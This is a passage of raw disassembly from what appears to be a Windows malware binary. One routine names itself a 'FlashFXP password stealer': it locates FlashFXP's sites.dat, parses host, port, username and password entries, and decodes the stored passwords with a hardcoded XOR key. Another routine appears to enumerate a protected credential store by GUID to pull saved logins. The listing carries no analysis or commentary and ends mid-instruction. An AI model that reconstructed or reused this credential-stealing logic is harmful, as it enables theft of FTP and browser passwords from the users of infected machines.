mov esi, ds:dword_4110A4 add esp, 1Ch cmp [ebp+var_20], 0 mov edi, 3E8h jnz short loc_40EDD3 push edi call esi ; Sleep loc_40EDD3: ; CODE XREF: sub_40ED30+9Ej call sub_41084A ; clock and [ebp+var_8], 0 mov [ebp+var_4], eax loc_40EDDF: ; CODE XREF: sub_40ED30+10Dj ; sub_40ED30+186j mov eax, [ebp+var_2C8] cmp dword ptr [eax+4], 0 jnz loc_40EEBB cmp bx, word ptr [ebp+var_1C4+2] ja loc_40EEBB lea eax, [ebp+var_10] push 0Ah push eax movzx eax, bx push eax call sub_410C9A ; _itoa add esp, 0Ch lea eax, [ebp+var_10] inc ebx push [ebp+arg_0] mov [ebp+var_14], ebx push 0 push eax lea eax, [ebp+var_2C4] push eax call sub_403AFB add esp, 0Ch push eax call sub_40394D pop ecx test eax, eax pop ecx jz short loc_40EE3F cmp bx, word ptr [ebp+var_1C4+2] jbe short loc_40EDDF loc_40EE3F: ; CODE XREF: sub_40ED30+104j push [ebp+var_1C0] call esi ; Sleep push [ebp+arg_0] call sub_4039D2 test eax, eax pop ecx jz short loc_40EEAA loc_40EE54: ; CODE XREF: sub_40ED30+178j mov eax, [ebp+var_2C8] cmp dword ptr [eax+4], 0 jnz short loc_40EEAA push [ebp+arg_0] call sub_403A6C test eax, eax pop ecx jz short loc_40EEAA lea ecx, [ebp+var_10] push ecx push eax call sub_403536 pop ecx mov bl, [ebp+var_20] pop ecx lea eax, [ebp+var_10] inc [ebp+var_8] and [ebp+var_20], 0 push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_1B8] push offset dword_416E2C push eax call sub_408D50 add esp, 10h mov [ebp+var_20], bl push edi call esi ; Sleep jmp short loc_40EE54 ; --------------------------------------------------------------------------- loc_40EEAA: ; CODE XREF: sub_40ED30+122j ; sub_40ED30+12Ej ... push [ebp+arg_0] call sub_403AAE mov ebx, [ebp+var_14] pop ecx jmp loc_40EDDF ; --------------------------------------------------------------------------- loc_40EEBB: ; CODE XREF: sub_40ED30+B9j ; sub_40ED30+C6j push [ebp+var_8] call sub_41084A ; clock sub eax, [ebp+var_4] push ecx push ecx mov [ebp+var_4], eax lea eax, [ebp+var_2C4] fild [ebp+var_4] fmul ds:flt_411280 fstp [esp+2E0h+var_2E0] push eax lea eax, [ebp+var_1B8] push offset unk_416DF0 push eax call sub_408D50 push [ebp+arg_0] call sub_403AE6 push [ebp+var_2C8] call sub_406753 add esp, 20h xor eax, eax pop edi pop esi loc_40EF09: ; CODE XREF: sub_40ED30+4Fj pop ebx leave retn 4 sub_40ED30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF0E proc near ; CODE XREF: sub_40735A+55Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 push ebx push esi push edi jz loc_40F084 mov eax, [ebp+arg_8] test eax, eax jz loc_40F084 cmp [ebp+arg_C], 0 jnz short loc_40EF33 mov [ebp+arg_C], eax loc_40EF33: ; CODE XREF: sub_40EF0E+20j push eax call sub_41088C ; atoi mov edi, eax pop ecx test edi, edi mov [ebp+arg_8], edi jz loc_40F084 mov esi, 0FFFFh cmp edi, esi ja loc_40F084 push [ebp+arg_C] call sub_41088C ; atoi mov ebx, eax pop ecx test ebx, ebx mov [ebp+var_4], ebx jz loc_40F084 cmp ebx, esi ja loc_40F084 push 2B3h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz loc_40F084 cmp edi, ebx jbe short loc_40EF91 mov [ebp+var_4], edi mov [ebp+arg_8], ebx loc_40EF91: ; CODE XREF: sub_40EF0E+7Bj cmp [ebp+arg_10], 0 mov edi, 7D0h jz short loc_40EFAA push [ebp+arg_10] call sub_41088C ; atoi pop ecx mov [ebp+arg_C], eax jmp short loc_40EFAD ; --------------------------------------------------------------------------- loc_40EFAA: ; CODE XREF: sub_40EF0E+8Cj mov [ebp+arg_C], edi loc_40EFAD: ; CODE XREF: sub_40EF0E+9Aj cmp [ebp+arg_C], 0 mov ebx, 0EA60h jz short loc_40EFBD cmp [ebp+arg_C], ebx jbe short loc_40EFC0 loc_40EFBD: ; CODE XREF: sub_40EF0E+A8j mov [ebp+arg_C], edi loc_40EFC0: ; CODE XREF: sub_40EF0E+ADj cmp [ebp+arg_14], 0 mov edi, 100h jz short loc_40EFD9 push [ebp+arg_14] call sub_41088C ; atoi pop ecx mov [ebp+arg_10], eax jmp short loc_40EFDC ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF0E+BBj mov [ebp+arg_10], edi loc_40EFDC: ; CODE XREF: sub_40EF0E+C9j cmp [ebp+arg_10], 0 jz short loc_40EFEB cmp [ebp+arg_10], 200h jbe short loc_40EFEE loc_40EFEB: ; CODE XREF: sub_40EF0E+D2j mov [ebp+arg_10], edi loc_40EFEE: ; CODE XREF: sub_40EF0E+DBj push edi lea eax, [esi+4] push [ebp+arg_4] push eax call sub_41083E ; strncpy mov ax, word ptr [ebp+arg_8] add esp, 0Ch cmp [ebp+arg_C], ebx mov [esi+104h], ax mov ax, word ptr [ebp+var_4] mov [esi+106h], ax ja short loc_40F01C mov ebx, [ebp+arg_C] loc_40F01C: ; CODE XREF: sub_40EF0E+109j mov eax, 200h mov [esi+108h], ebx cmp [ebp+arg_10], eax ja short loc_40F02F mov eax, [ebp+arg_10] loc_40F02F: ; CODE XREF: sub_40EF0E+11Cj mov ebx, [ebp+arg_0] lea edi, [esi+10Ch] push 1A3h push ebx mov [edi], eax lea eax, [esi+110h] push eax call sub_410838 ; memcpy movzx eax, word ptr [esi+106h] add esp, 0Ch push dword ptr [edi] push eax movzx eax, word ptr [esi+104h] push eax lea eax, [esi+4] push eax xor eax, eax cmp [ebx+18Bh], al push offset dword_416E88 setz al push eax push esi push offset sub_40ED30 call sub_40663C add esp, 20h loc_40F084: ; CODE XREF: sub_40EF0E+Bj ; sub_40EF0E+16j ... pop edi pop esi pop ebx leave retn sub_40EF0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F089 proc near ; CODE XREF: sub_40F21F+234p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi lea eax, [ebp+var_4] push edi mov edi, [ebp+arg_4] mov esi, offset dword_412B20 push eax push esi push edi mov ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" call sub_410892 ; sscanf add esp, 0Ch test eax, eax jz short loc_40F108 inc edi inc edi loc_40F0B1: ; CODE XREF: sub_40F089+7Dj lea eax, [ebp+arg_4] push eax push esi push edi call sub_410892 ; sscanf add esp, 0Ch test eax, eax jz short loc_40F108 movsx ecx, byte ptr [ebx] mov eax, [ebp+arg_4] xor eax, ecx inc ebx cmp [ebp+var_4], eax mov [ebp+arg_4], eax jl short loc_40F0D8 dec eax mov [ebp+arg_4], eax loc_40F0D8: ; CODE XREF: sub_40F089+49j sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ecx], al lea eax, [ebp+var_4] push eax push esi push edi call sub_410892 ; sscanf add esp, 0Ch test eax, eax jz short loc_40F108 inc edi inc edi cmp byte ptr [ebx], 0 jnz short loc_40F101 mov ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_40F101: ; CODE XREF: sub_40F089+71j cmp byte ptr [edi], 0 jz short loc_40F10C jmp short loc_40F0B1 ; --------------------------------------------------------------------------- loc_40F108: ; CODE XREF: sub_40F089+24j ; sub_40F089+38j ... xor eax, eax jmp short loc_40F115 ; --------------------------------------------------------------------------- loc_40F10C: ; CODE XREF: sub_40F089+7Bj mov eax, [ebp+arg_0] push 1 and byte ptr [eax], 0 pop eax loc_40F115: ; CODE XREF: sub_40F089+81j pop edi pop esi pop ebx leave retn sub_40F089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11A proc near ; CODE XREF: sub_40F21F+2Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi lea eax, [ebp+var_8] push edi xor edi, edi push eax push 20019h push edi push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h mov [ebp+var_8], edi call ds:dword_411000 ; RegOpenKeyExA mov ebx, [ebp+arg_0] lea eax, [ebp+var_C] push eax push ebx push edi push edi push edi mov esi, 104h push [ebp+var_8] mov [ebp+var_C], esi call ds:dword_41100C ; RegQueryValueExA push [ebp+var_8] mov [ebp+arg_0], eax call ds:dword_411028 ; RegCloseKey cmp [ebp+arg_0], edi jnz short loc_40F1A9 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push ebx call sub_4052F1 add esp, 0Ch cmp eax, edi mov [ebp+arg_0], eax jz short loc_40F1A9 push offset aSites_dat ; "sites.dat" push eax call sub_410820 ; _mbscpy mov eax, [ebp+arg_0] lea ecx, [eax+0Fh] add eax, 9 push ecx push eax call sub_410820 ; _mbscpy add esp, 10h loc_40F1A4: ; CODE XREF: sub_40F11A+B8j ; sub_40F11A+F1j push 1 pop eax jmp short loc_40F21A ; --------------------------------------------------------------------------- loc_40F1A9: ; CODE XREF: sub_40F11A+53j ; sub_40F11A+6Aj push esi push ebx push offset aProgramfiles ; "ProgramFiles" call ds:dword_41110C ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push ebx call sub_410856 ; _mbscat mov esi, offset aRb ; "rb" push esi push ebx call sub_41086E ; fopen add esp, 10h test eax, eax jnz short loc_40F1A4 mov eax, dword_413364 mov [ebp+var_4], eax loc_40F1DC: ; CODE XREF: sub_40F11A+FCj lea eax, [ebp+var_4] push eax call ds:dword_4110D0 ; GetDriveTypeA cmp eax, 5 jz short loc_40F20D cmp eax, 2 jz short loc_40F20D lea eax, [ebp+var_4] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push ebx call sub_410844 ; sprintf push esi push ebx call sub_41086E ; fopen add esp, 14h test eax, eax jnz short loc_40F1A4 loc_40F20D: ; CODE XREF: sub_40F11A+CFj ; sub_40F11A+D4j inc byte ptr [ebp+var_4] cmp byte ptr [ebp+var_4], 5Ah jz short loc_40F218 jmp short loc_40F1DC ; --------------------------------------------------------------------------- loc_40F218: ; CODE XREF: sub_40F11A+FAj xor eax, eax loc_40F21A: ; CODE XREF: sub_40F11A+8Dj pop edi pop esi pop ebx leave retn sub_40F11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F21F proc near ; DATA XREF: sub_40F515+29o var_5C4 = byte ptr -5C4h var_444 = byte ptr -444h var_3C4 = byte ptr -3C4h var_344 = byte ptr -344h var_2C4 = byte ptr -2C4h var_244 = dword ptr -244h var_240 = byte ptr -240h var_A8 = byte ptr -0A8h var_9C = byte ptr -9Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5C4h push 1A7h lea eax, [ebp+var_244] push [ebp+arg_0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_5C4] push eax call sub_40F11A add esp, 14h test eax, eax jnz short loc_40F26A push [ebp+var_244] call sub_406753 pop ecx xor eax, eax jmp locret_40F511 ; --------------------------------------------------------------------------- loc_40F26A: ; CODE XREF: sub_40F21F+36j mov eax, [ebp+var_244] push ebx push esi push edi push dword ptr [eax] lea eax, [ebp+var_240] push offset unk_417058 push eax call sub_408D50 mov al, [ebp+var_A8] xor ebx, ebx mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+var_5C4] push offset aRb ; "rb" push eax mov [ebp+var_18], ebx mov [ebp+var_4], ebx mov [ebp+var_A8], bl call sub_41086E ; fopen mov edi, eax add esp, 14h cmp edi, ebx jz loc_40F500 push 2 push ebx push edi call sub_410886 ; fseek push edi call sub_41085C ; ftell mov esi, eax mov eax, 100000h add esp, 10h cmp esi, eax jb short loc_40F2DA mov esi, eax loc_40F2DA: ; CODE XREF: sub_40F21F+B7j push ebx push ebx push edi call sub_410886 ; fseek lea eax, [esi+1] push eax call sub_41082C ; malloc add esp, 10h cmp eax, ebx mov [ebp+var_10], eax push edi jnz short loc_40F301 call sub_410868 ; fclose pop ecx jmp loc_40F500 ; --------------------------------------------------------------------------- loc_40F301: ; CODE XREF: sub_40F21F+D5j push esi push 1 push eax call sub_410880 ; fread push edi call sub_410868 ; fclose mov eax, [ebp+var_10] add esp, 14h mov [eax+esi], bl mov esi, eax loc_40F31B: ; CODE XREF: sub_40F21F+29Dj push offset asc_417050 ; "\r\n\r\n[" push esi call sub_410898 ; strstr push offset aIp ; "\r\nIP=" push esi mov edi, eax call sub_410898 ; strstr push offset aPort ; "\r\nPort=" push esi mov [ebp+var_14], eax call sub_410898 ; strstr push offset aUser_0 ; "\r\nUser=" push esi mov [ebp+var_8], eax call sub_410898 ; strstr push offset aPass_0 ; "\r\nPass=" push esi mov [ebp+var_C], eax call sub_410898 ; strstr add esp, 28h cmp [ebp+var_14], ebx mov [ebp+var_1C], eax jz loc_40F4B2 cmp edi, ebx jz short loc_40F379 cmp [ebp+var_14], edi jnb loc_40F4B2 loc_40F379: ; CODE XREF: sub_40F21F+14Fj cmp [ebp+var_8], ebx jz loc_40F4B2 cmp edi, ebx jz short loc_40F38F cmp [ebp+var_8], edi jnb loc_40F4B2 loc_40F38F: ; CODE XREF: sub_40F21F+165j cmp [ebp+var_C], ebx jz loc_40F4B2 cmp edi, ebx jz short loc_40F3A5 cmp [ebp+var_C], edi jnb loc_40F4B2 loc_40F3A5: ; CODE XREF: sub_40F21F+17Bj cmp eax, ebx jz loc_40F4B2 cmp edi, ebx jz short loc_40F3B9 cmp eax, edi jnb loc_40F4B2 loc_40F3B9: ; CODE XREF: sub_40F21F+190j lea eax, [ebp+var_444] mov [ebp+var_9C], bl push eax push offset asc_417024 ; "[%[^]]]\r\n" push esi mov [ebp+var_344], bl mov [ebp+var_3C4], bl mov [ebp+var_2C4], bl mov [ebp+var_444], bl call sub_410892 ; sscanf add esp, 0Ch lea eax, [ebp+var_2C4] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_14] call sub_410892 ; sscanf add esp, 0Ch lea eax, [ebp+var_3C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_8] call sub_410892 ; sscanf add esp, 0Ch lea eax, [ebp+var_344] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_C] call sub_410892 ; sscanf add esp, 0Ch lea eax, [ebp+var_9C] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_1C] call sub_410892 ; sscanf lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_9C] push eax call sub_40F089 add esp, 14h test eax, eax jz short loc_40F4C1 inc [ebp+var_4] push 3E8h call ds:dword_4110A4 ; Sleep lea eax, [ebp+var_444] push eax lea eax, [ebp+var_3C4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_344] push eax lea eax, [ebp+var_240] push [ebp+var_4] push offset dword_416FB8 push eax call sub_408D50 mov eax, [ebp+var_244] add esp, 20h cmp [eax+4], ebx jnz short loc_40F4C1 loc_40F4B2: ; CODE XREF: sub_40F21F+147j ; sub_40F21F+154j ... inc [ebp+var_18] cmp edi, ebx jz short loc_40F4C1 lea esi, [edi+4] jmp loc_40F31B ; --------------------------------------------------------------------------- loc_40F4C1: ; CODE XREF: sub_40F21F+23Ej ; sub_40F21F+291j ... push [ebp+var_10] call sub_410832 ; free mov al, byte ptr [ebp+arg_0+3] pop ecx push 3E8h mov [ebp+var_A8], al call ds:dword_4110A4 ; Sleep push [ebp+var_18] mov eax, [ebp+var_244] push [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_240] push offset unk_416F7C push eax call sub_408D50 add esp, 14h loc_40F500: ; CODE XREF: sub_40F21F+96j ; sub_40F21F+DDj push [ebp+var_244] call sub_406753 pop ecx pop edi pop esi xor eax, eax pop ebx locret_40F511: ; CODE XREF: sub_40F21F+46j leave retn 4 sub_40F21F endp ; =============== S U B R O U T I N E ======================================= sub_40F515 proc near ; CODE XREF: sub_40735A+323p arg_0 = dword ptr 4 push esi push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40F54B push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_403E60 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push esi push offset sub_40F21F call sub_40663C add esp, 10h loc_40F54B: ; CODE XREF: sub_40F515+10j pop esi retn sub_40F515 endp ; =============== S U B R O U T I N E ======================================= sub_40F54D proc near ; DATA XREF: sub_40FCB2+32o mov eax, offset loc_410CF0 call sub_410B38 sub esp, 0F98h push ebx push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-290h] push eax call sub_410838 ; memcpy push dword ptr [ebp+8] call sub_410832 ; free add esp, 10h xor ebx, ebx lea eax, [ebp-14h] push ebx push ebx push ebx push eax mov [ebp-4], ebx mov [ebp-14h], ebx call dword_417BB0 cmp eax, ebx jge short loc_40F5A9 push dword ptr [ebp-290h] call sub_406753 pop ecx jmp loc_40FC8E ; --------------------------------------------------------------------------- loc_40F5A9: ; CODE XREF: sub_40F54D+49j cmp [ebp-14h], ebx mov byte ptr [ebp-4], 1 mov [ebp-1Ch], ebx jnz short loc_40F5BF push 80004003h call sub_410B60 loc_40F5BF: ; CODE XREF: sub_40F54D+66j mov esi, [ebp-14h] lea ecx, [ebp-1Ch] push ecx push ebx mov eax, [esi] push ebx push esi call dword ptr [eax+38h] cmp eax, ebx jge short loc_40F5EF push offset dword_4172E8 push esi push eax call sub_410B6E push dword ptr [ebp-290h] call sub_406753 pop ecx jmp loc_40FC7E ; --------------------------------------------------------------------------- loc_40F5EF: ; CODE XREF: sub_40F54D+83j mov eax, [ebp-290h] push dword ptr [eax] lea eax, [ebp-28Ch] push offset unk_4172B4 push eax call sub_408D50 mov al, [ebp-0F4h] add esp, 0Ch mov [ebp-10h], ebx mov [ebp+0Bh], al mov [ebp-0F4h], bl loc_40F61D: ; CODE XREF: sub_40F54D+6E2j ; sub_40F54D+6EEj cmp [ebp-1Ch], ebx jnz short loc_40F62C push 80004003h call sub_410B60 loc_40F62C: ; CODE XREF: sub_40F54D+D3j mov eax, [ebp-1Ch] lea edx, [ebp-40h] push ebx push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_40FC40 mov eax, [ebp-290h] cmp [eax+4], ebx jnz loc_40FC40 sub esp, 10h lea esi, [ebp-40h] mov edi, esp lea eax, [ebp-84h] movsd movsd movsd push offset asc_4172B0 ; "%x" push eax movsd call ds:dword_4111EC ; wsprintfA add esp, 18h cmp [ebp-14h], ebx mov byte ptr [ebp-4], 2 mov [ebp-24h], ebx jnz short loc_40F68A push 80004003h call sub_410B60 loc_40F68A: ; CODE XREF: sub_40F54D+131j mov esi, [ebp-14h] lea ecx, [ebp-24h] push ecx lea ecx, [ebp-40h] mov eax, [esi] push ebx push ecx push ebx push esi call dword ptr [eax+3Ch] cmp eax, ebx jge short loc_40F6AD push offset dword_4172E8 push esi push eax call sub_410B6E loc_40F6AD: ; CODE XREF: sub_40F54D+152j ; sub_40F54D+6C8j ... cmp [ebp-24h], ebx jnz short loc_40F6BC push 80004003h call sub_410B60 loc_40F6BC: ; CODE XREF: sub_40F54D+163j mov eax, [ebp-24h] lea edx, [ebp-50h] push ebx push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_40FC26 cmp [ebp-14h], ebx mov byte ptr [ebp-4], 3 mov [ebp-28h], ebx jnz short loc_40F6EA push 80004003h call sub_410B60 loc_40F6EA: ; CODE XREF: sub_40F54D+191j mov esi, [ebp-14h] lea ecx, [ebp-28h] push ecx lea ecx, [ebp-50h] mov eax, [esi] push ebx push ecx lea ecx, [ebp-40h] push ecx push ebx push esi call dword ptr [eax+54h] cmp eax, ebx jge short loc_40F711 push offset dword_4172E8 push esi push eax call sub_410B6E loc_40F711: ; CODE XREF: sub_40F54D+1B6j ; sub_40F54D+6BAj cmp [ebp-28h], ebx jnz short loc_40F720 push 80004003h call sub_410B60 loc_40F720: ; CODE XREF: sub_40F54D+1C7j mov eax, [ebp-28h] lea edx, [ebp-30h] push ebx push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_40FC0C push dword ptr [ebp-30h] mov edi, ds:dword_4111EC lea eax, [ebp-7BCh] push offset aWs ; "%ws" push eax call edi ; wsprintfA add esp, 0Ch cmp [ebp-14h], ebx mov [ebp-20h], ebx mov [ebp-18h], ebx jnz short loc_40F767 push 80004003h call sub_410B60 loc_40F767: ; CODE XREF: sub_40F54D+20Ej push ebx lea ecx, [ebp-18h] push ebx push ecx mov esi, [ebp-14h] lea ecx, [ebp-20h] push ecx lea ecx, [ebp-50h] push dword ptr [ebp-30h] mov eax, [esi] push ecx lea ecx, [ebp-40h] push ecx push ebx push esi call dword ptr [eax+44h] cmp eax, ebx jge short loc_40F796 push offset dword_4172E8 push esi push eax call sub_410B6E loc_40F796: ; CODE XREF: sub_40F54D+23Bj push dword ptr [ebp-18h] call sub_410826 ; strlen mov esi, [ebp-20h] pop ecx lea ecx, [esi-1] cmp eax, ecx jnb short loc_40F7DC xor ecx, ecx xor edx, edx cmp esi, ebx jbe short loc_40F7D3 loc_40F7B1: ; CODE XREF: sub_40F54D+284j mov eax, [ebp-18h] mov al, [edx+eax] cmp al, bl jnz short loc_40F7C5 mov byte ptr [ebp+ecx-5BCh], 2Ch jmp short loc_40F7CC ; --------------------------------------------------------------------------- loc_40F7C5: ; CODE XREF: sub_40F54D+26Cj mov [ebp+ecx-5BCh], al loc_40F7CC: ; CODE XREF: sub_40F54D+276j inc ecx inc edx inc edx cmp edx, esi jb short loc_40F7B1 loc_40F7D3: ; CODE XREF: sub_40F54D+262j mov [ebp+ecx-5BDh], bl jmp short loc_40F7F0 ; --------------------------------------------------------------------------- loc_40F7DC: ; CODE XREF: sub_40F54D+25Aj push dword ptr [ebp-18h] lea eax, [ebp-5BCh] push offset dword_412B30 push eax call edi ; wsprintfA add esp, 0Ch loc_40F7F0: ; CODE XREF: sub_40F54D+28Dj mov esi, ds:dword_411104 mov edi, offset byte_417B60 lea eax, [ebp-0FA4h] push edi push eax call esi ; lstrcpy lea eax, [ebp-9BCh] push edi push eax call esi ; lstrcpy mov esi, ds:dword_411110 lea eax, [ebp-84h] push offset a220d5cc1 ; "220d5cc1" push eax call esi ; lstrcmp test eax, eax jnz short loc_40F857 inc dword ptr [ebp-10h] cmp [ebp-0F7h], bl jnz short loc_40F857 lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_417260 push eax call sub_408D50 add esp, 14h loc_40F857: ; CODE XREF: sub_40F54D+2D8j ; sub_40F54D+2E3j lea eax, [ebp-84h] push offset a5e7e8100 ; "5e7e8100" push eax call esi ; lstrcmp test eax, eax jnz loc_40F8FE mov edi, ds:dword_411104 lea eax, [ebp-358h] push offset byte_417B60 push eax call edi ; lstrcpy mov esi, offset asc_412528 ; ":" lea eax, [ebp-5BCh] push esi push eax call sub_410898 ; strstr pop ecx test eax, eax pop ecx jz short loc_40F8C4 lea eax, [ebp-5BCh] push esi push eax call sub_410898 ; strstr pop ecx inc eax pop ecx push eax lea eax, [ebp-358h] push eax call edi ; lstrcpy lea eax, [ebp-5BCh] push esi push eax call sub_410898 ; strstr pop ecx mov [eax], bl pop ecx loc_40F8C4: ; CODE XREF: sub_40F54D+34Aj inc dword ptr [ebp-10h] push 3E8h call ds:dword_4110A4 ; Sleep lea eax, [ebp-358h] push eax lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_4171FC push eax call sub_408D50 add esp, 18h loc_40F8FE: ; CODE XREF: sub_40F54D+31Aj lea eax, [ebp-84h] push offset aB9819c52 ; "b9819c52" push eax call ds:dword_411110 ; lstrcmp test eax, eax jnz loc_40FA6C mov eax, [ebp-18h] xor edi, edi xor esi, esi cmp [ebp-20h], ebx jbe short loc_40F967 loc_40F924: ; CODE XREF: sub_40F54D+418j mov cl, [esi+eax] cmp cl, bl jnz short loc_40F935 mov byte ptr [ebp+edi-5BCh], 2Ch jmp short loc_40F95F ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F54D+3DCj push ecx call ds:dword_411200 ; IsCharAlphaNumericA test eax, eax mov eax, [ebp-18h] jnz short loc_40F955 mov cl, [esi+eax] cmp cl, 40h jz short loc_40F955 cmp cl, 2Eh jz short loc_40F955 cmp cl, 5Fh jnz short loc_40F960 loc_40F955: ; CODE XREF: sub_40F54D+3F4j ; sub_40F54D+3FCj ... mov cl, [esi+eax] mov [ebp+edi-5BCh], cl loc_40F95F: ; CODE XREF: sub_40F54D+3E6j inc edi loc_40F960: ; CODE XREF: sub_40F54D+406j inc esi inc esi cmp esi, [ebp-20h] jb short loc_40F924 loc_40F967: ; CODE XREF: sub_40F54D+3D5j mov [ebp+edi-5BDh], bl cmp [eax+4], bl lea esi, [ebp-5BAh] mov [ebp-2Ch], ebx jbe loc_40FA6C loc_40F980: ; CODE XREF: sub_40F54D+519j inc esi lea eax, [ebp-3BCh] push esi push eax call ds:dword_411104 ; lstrcpy mov edi, offset dword_4171EC lea eax, [ebp-3BCh] push edi push eax call sub_410898 ; strstr pop ecx test eax, eax pop ecx jz short loc_40F9B8 lea eax, [ebp-3BCh] push edi push eax call sub_410898 ; strstr pop ecx mov [eax], bl pop ecx loc_40F9B8: ; CODE XREF: sub_40F54D+458j push edi push esi call sub_410898 ; strstr pop ecx test eax, eax pop ecx jz short loc_40F9DE push edi push esi call sub_410898 ; strstr pop ecx inc eax pop ecx inc eax push eax lea eax, [ebp-0E8h] push eax call ds:dword_411104 ; lstrcpy loc_40F9DE: ; CODE XREF: sub_40F54D+476j lea eax, [ebp-0E8h] push edi push eax call sub_410898 ; strstr pop ecx test eax, eax pop ecx jz short loc_40FA02 lea eax, [ebp-0E8h] push edi push eax call sub_410898 ; strstr pop ecx mov [eax], bl pop ecx loc_40FA02: ; CODE XREF: sub_40F54D+4A2j push edi push esi call sub_410898 ; strstr pop ecx mov esi, eax pop ecx lea eax, [ebp-0E8h] push eax call ds:dword_411040 ; lstrlen inc dword ptr [ebp-10h] push 3E8h lea esi, [esi+eax+9] call ds:dword_4110A4 ; Sleep cmp [ebp-0F7h], bl jnz short loc_40FA59 lea eax, [ebp-0E8h] push eax lea eax, [ebp-3BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_4171AC push eax call sub_408D50 add esp, 14h loc_40FA59: ; CODE XREF: sub_40F54D+4E5j mov eax, [ebp-18h] inc dword ptr [ebp-2Ch] movzx eax, byte ptr [eax+4] cmp [ebp-2Ch], eax jl loc_40F980 loc_40FA6C: ; CODE XREF: sub_40F54D+3C5j ; sub_40F54D+42Dj lea eax, [ebp-84h] push offset aE161255a ; "e161255a" push eax call ds:dword_411110 ; lstrcmp test eax, eax jnz loc_40FBE3 lea eax, [ebp-7BCh] push offset aStringindex ; "StringIndex" push eax call sub_410898 ; strstr pop ecx test eax, eax pop ecx jnz loc_40FBE3 mov esi, offset dword_41718C lea eax, [ebp-7BCh] push esi push eax call sub_410898 ; strstr pop ecx test eax, eax pop ecx jz short loc_40FACA lea eax, [ebp-7BCh] push esi push eax call sub_410898 ; strstr pop ecx mov [eax], bl pop ecx loc_40FACA: ; CODE XREF: sub_40F54D+56Aj lea eax, [ebp-7BCh] push 8 push eax lea eax, [ebp-358h] push eax call ds:dword_411108 ; lstrcpyn lea eax, [ebp-358h] push offset dword_417184 push eax call sub_410898 ; strstr pop ecx test eax, eax pop ecx jnz short loc_40FB52 lea eax, [ebp-358h] push offset dword_41717C push eax call sub_410898 ; strstr pop ecx test eax, eax pop ecx jnz short loc_40FB52 inc dword ptr [ebp-10h] push 3E8h call ds:dword_4110A4 ; Sleep cmp [ebp-0F7h], bl jnz loc_40FBE3 lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_417134 push eax call sub_408D50 add esp, 14h jmp loc_40FBE3 ; --------------------------------------------------------------------------- loc_40FB52: ; CODE XREF: sub_40F54D+5A8j ; sub_40F54D+5BFj mov edi, ds:dword_411104 lea eax, [ebp-358h] push offset byte_417B60 push eax call edi ; lstrcpy mov esi, offset dword_4171EC lea eax, [ebp-5BCh] push esi push eax call sub_410898 ; strstr pop ecx test eax, eax pop ecx jz short loc_40FBA9 lea eax, [ebp-5BCh] push esi push eax call sub_410898 ; strstr pop ecx inc eax pop ecx push eax lea eax, [ebp-358h] push eax call edi ; lstrcpy lea eax, [ebp-5BCh] push esi push eax call sub_410898 ; strstr pop ecx mov [eax], bl pop ecx loc_40FBA9: ; CODE XREF: sub_40F54D+62Fj inc dword ptr [ebp-10h] push 3E8h call ds:dword_4110A4 ; Sleep lea eax, [ebp-358h] push eax lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, 